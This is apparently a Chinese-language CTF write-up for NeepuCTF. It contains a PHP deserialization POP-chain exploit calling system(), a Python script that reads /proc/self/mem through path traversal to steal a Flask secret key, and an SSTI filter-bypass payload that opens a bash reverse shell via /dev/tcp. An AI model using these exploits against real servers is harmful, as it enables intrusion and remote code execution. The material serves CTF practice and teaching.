打不动,根本打不动,还是来复现吧
ezphp
进去之后啥也没有,一个白页。版本PHP/7.4.21
这里是有一个PHP<=7.4.21 Development Server源码泄露漏洞
可以读到源码。
要关一下bp的自动修改Content-Length的功能,然后修改包:
发现是一个反序列化的题。
题目
<?php
class one{
public function __call($name,$ary)
{
if ($this->key === true||$this->finish1->name) {
if ($this->finish->finish){
call_user_func($this->now[$name],$ary[0]);
}
}
}
public function neepuctf(){
$this->now=0;
return $this->finish->finish;
}
public function __wakeup(){
$this->key=True;
}
}
class two{
private $finish;
public $name;
public function __get($value){
return $this->$value=$this->name[$value];
}
}
class three{
public function __destruct()
{
if($this->neepu->neepuctf()||!$this->neepu1->neepuctf()){
$this->fin->NEEPUCTF($this->rce,$this->rce1);
}
}
}
class four{
public function __destruct()
{
if ($this->neepu->neepuctf()){
$this->fin->NEEPUCTF1($this->rce,$this->rce1);
}
}
public function __wakeup(){
$this->key=false;
}
}
class five{
public $finish;
private $name;
public function __get($name)
{
return $this->$name=$this->finish[$name];
}
}
$a=$_POST["neepu"];
if (isset($a)){
unserialize($a);
}
妈呀干了好长时间,踩了几个坑
一个是__call()包含两个参数, 第一个参数是那个不存在的方法的
方法名
,是个字符串类型;第二个参数是那个不存在的方法的
所有参数,是个数组类型
。第一次见到
$a->neepu->finish->finish=true;
这种法子 太酷了exp
<?php //写的很乱
class one{
public $finish;
public $key=true;
public $now=array("NEEPUCTF1"=>"system");
public function __call($name,$ary)
{
if ($this->key === true||$this->finish1->name) {
if ($this->finish->finish){
call_user_func($this->now[$name],$ary[0]);
}
}
}
public function neepuctf(){
return $this->finish->finish;
}
}
class four{
public $neepu;
public $rce="id";
public $fin;
public function __destruct()
{
if ($this->neepu->neepuctf()){
$this->fin->NEEPUCTF1($this->rce,$this->rce1);
}
}
public function __wakeup(){
$this->key=false;
}
}
$a=new four();
$a->neepu=new one();
$a->neepu->finish->finish=true;
$a->fin=new one();
$a->fin->finish->finish=true;
$a->fin->now=array("NEEPUCTF1"=>"system");
echo urlencode(serialize($a));
然后就能出了
Cute Cirno (Revenge)
一个session伪造+ssti,不过文件名未知,urandom的seed不好搞。原版题没关debug还可以算pin码直接os.popen,重新上线后只能老老实实做了。
首先通过任意文件读取读proc/self/cmdline
cmdline文件存储着启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息
得到python3CuteCirnoRev.py
文件名
然后读到源码
CuteCirnoRev.py
from flask import Flask, request, session, render_template, render_template_string
import os, base64
from NeepuF1Le import neepu_files
CuteCirnoRev = Flask(__name__,
static_url_path='/static',
static_folder='static'
)
CuteCirnoRev.config['SECRET_KEY'] = str(base64.b64encode(os.urandom(30)).decode()) + "*NeepuCTF*"
@CuteCirnoRev.route('/')
def welcome():
session['admin'] = 0
return render_template('welcome.html')
@CuteCirnoRev.route('/Cirno')
def show():
return render_template('CleverCirno.html')
@CuteCirnoRev.route('/r3ADF11e')
def file_read():
filename = "static/text/" + request.args.get('filename', 'comment.txt')
start = request.args.get('start', "0")
end = request.args.get('end', "0")
return neepu_files(filename, start, end)
@CuteCirnoRev.route('/genius')
def calculate():
if session.get('admin') == 1:
print(session.get('admin'))
answer = request.args.get('answer')
if answer is not None:
blacklist = ['_', "'", '"', '.', 'system', 'os', 'eval', 'exec', 'popen', 'subprocess',
'posix', 'builtins', 'namespace','open', 'read', '\\', 'self', 'mro', 'base',
'global', 'init', '/','00', 'chr', 'value', 'get', "url", 'pop', 'import',
'include','request', '{{', '}}', '"', 'config','=']
for i in blacklist:
if i in answer:
answer = "⑨" +"""</br><img src="static/woshibaka.jpg" width="300" height="300" alt="Cirno">"""
break
if answer == '':
return "你能告诉聪明的⑨, 1+1的answer吗"
return render_template_string("1+1={}".format(answer))
else:
return render_template('mathclass.html')
else:
session['admin'] = 0
return "你真的是我的马斯塔吗?"
if __name__ == '__main__':
CuteCirnoRev.run('0.0.0.0', 5000, debug=False)
我们可以通过读取/proc/self/maps来获取堆栈分布,而后读取/proc/self/mem,通过真正则匹配筛选出我们需要的key
import re
import requests
url="http://neepusec.fun:28241/r3ADF11e"
maps_url = f"{url}?filename=../../../proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)
print(maps)
cookie=''
for m in maps:
print(m)
start, end = m.split("-")[0], m.split("-")[1]
Offset, Length = str(int(start, 16)), str(int(end, 16))
read_url = f"{url}?filename=../../../proc/self/mem&start={Offset}&end={Length}"
print(read_url)
s = requests.get(read_url).content
# print(s)
rt = re.findall(b"(.{40})\*NeepuCTF\*", s)
#rt = re.findall(b"[a-z0-9]{32}\*abcdefgh", s)
if rt:
print(rt)#原来是rt[0]但我跑不出来 怪
然后就可以session伪造开始ssti了,这个ssti过滤的还是很多的
这里直接用session|string将session转为字符串然后截取进行ssti
构造{'admin': 1,'__globals__':1,'os':1,'read':1,'popen':1,'bash -c \'bash -i >& /dev/tcp/ip/11111 <&1\'':1}
然后{%print(((lipsum[(session|string)[35:46]])[(session|string)[53:55]])[(session|string)[73:78]]((session|string)[85:136]))%}
(注意ip和端口的长度)
然后就没有然后了